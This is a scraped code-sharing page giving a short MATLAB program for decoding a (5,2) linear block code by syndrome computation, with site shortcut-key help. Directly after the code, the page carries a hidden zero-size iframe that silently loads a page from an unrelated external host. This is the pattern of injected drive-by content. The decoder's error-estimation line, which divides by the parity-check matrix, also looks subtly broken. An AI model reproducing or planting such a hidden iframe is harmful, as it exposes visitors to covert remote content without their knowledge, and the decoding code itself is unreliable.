线性分组码译码.m
来自「信息理论与编码——关于线性分组码编码与译码的matlab仿真程序」· M 代码 · 共 33 行
M
33 行
clear;
y=input('请输入接收序列 y=');
[r,s]=size(y);
%报告错误信息
while ((rem(s,5))~=0)
disp('输入错误 请重新输入');
n=input('请输入接收序列 y =')
[r,s]=size(n);
y=n;
end
%初始化
h=[1 1 1 0 0;1 0 0 1 0;1 1 0 0 1];
a=s/5;
s0=zeros(1,3);
ss=zeros(1,5*a);
e=zeros(1,5);
%c=zeros(r,s);
m=zeros(1,2*a);
for i=1:a
s0=rem(([y((i-1)*5+1) y((i-1)*5+2) y((i-1)*5+3) y((i-1)*5+4) y((i-1)*5+5)]*h'),2);
e=s0/h';
for j=1:5
ss((i-1)*5+j)=e(j);
end
end
c=xor(y,ss);
for k=1:a
m((k-1)*2+1)=c((k-1)*5+1);
m((k-1)*2+2)=c((k-1)*5+2);
end
disp('译码为'),disp(m);
<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?